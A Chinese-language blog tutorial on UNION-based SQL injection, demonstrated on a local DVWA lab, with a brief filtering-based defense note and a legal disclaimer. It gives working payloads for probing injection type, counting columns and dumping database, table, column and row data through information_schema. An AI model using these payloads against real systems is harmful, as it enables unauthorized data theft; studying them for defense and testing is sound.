SQL注入漏洞之联合(union)注入

SQL注入漏洞之联合(union)注入

学习SQL注入首先要对一些常见的SQL语法有一定的了解,这样我们在使用SQL注入漏洞攻击对方时才能游刃有余。

SQL注入原理:SQL注入之所以得以存在主要是因为WEB应用程序对用户输入的数据没有进行有效的判断和过滤,从而导致用户的恶意SQL语句从前端传到后端,最后实现了对数据的窃取和破环。

首先要实现SQL注入漏洞必须要满足一定的条件。其一,前端传到后端的数据内容是用户可以控制的,如果这些数据不是用户可以控制的话SQL注入漏洞就无从谈起。其二:用户输入的参数可以拼接的SQL语句中,并且可以被执行。

Union联合注入:

  1. 在拿到一个网站后,我们便要判断注入点。首先我们要判断注入点是字符类型还是整型。

下图为演示效果图。

输入id=1时:

输入id=1 and 1=1 和 id=1and 1=2:

由于1=1 为真 1=2 为假,但是页面返回的结果都是为id=1的查询结果。所以注入点的类型应该是字符型,接下来我们验证是否是字符型。

输入id =1’ and ‘1’=’1和id =1’ and ‘1’=’2

我们可以看到当id =1’ and ‘1’=’2是页面没有结果,因此验证了我们的猜想。

  1. 判断该表中的字段数。我们用order by 推测。

在输入id=1’ order by 4#后网页提示没有第四列。

在输入id=1’ order by 2#后网页显示正常。

因此,我们可以判断该表有2列。

  1. 使用union确定可以输入SQL语句的位置。

我们可以看到1,2位置我们可以输入SQL语句。

4、获取数据库名。0' union select database(),2#

  1. 获取当前数据库的所有表名。

0' unionselect (select table_name from information_schema.tables wheretable_schema='dvwa' limit 0,1),2#

我们可以看到第一个表名为guestbook。

  1. 获取表的字段名。

0' union select (select column_name from information_schema.columns wheretable_name='guestbook' and table_schema='dvwa' limit 0,1),2 #

我们可以看到guestbook表的第一个字段名为comment_id。

  1. 获取字段对应的数据。

0' union select(select comment from dvwa.guestbooklimit 0,1),2 #

防御手段:

对用户输入的内容进行的合法性进行判断,过滤掉一些关键词和一些特殊符号比如’ “ ()# 等等。

注:

·本文所有演示均为本地虚拟环境,讲解只是为了读者更好地理解漏洞原理,以达到保护信息安全的目的,请勿用于非法用途!

·严禁利用本文中所提到的技术和漏洞进行非法攻击,否则后果自负,作者将不承担任何责任!

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值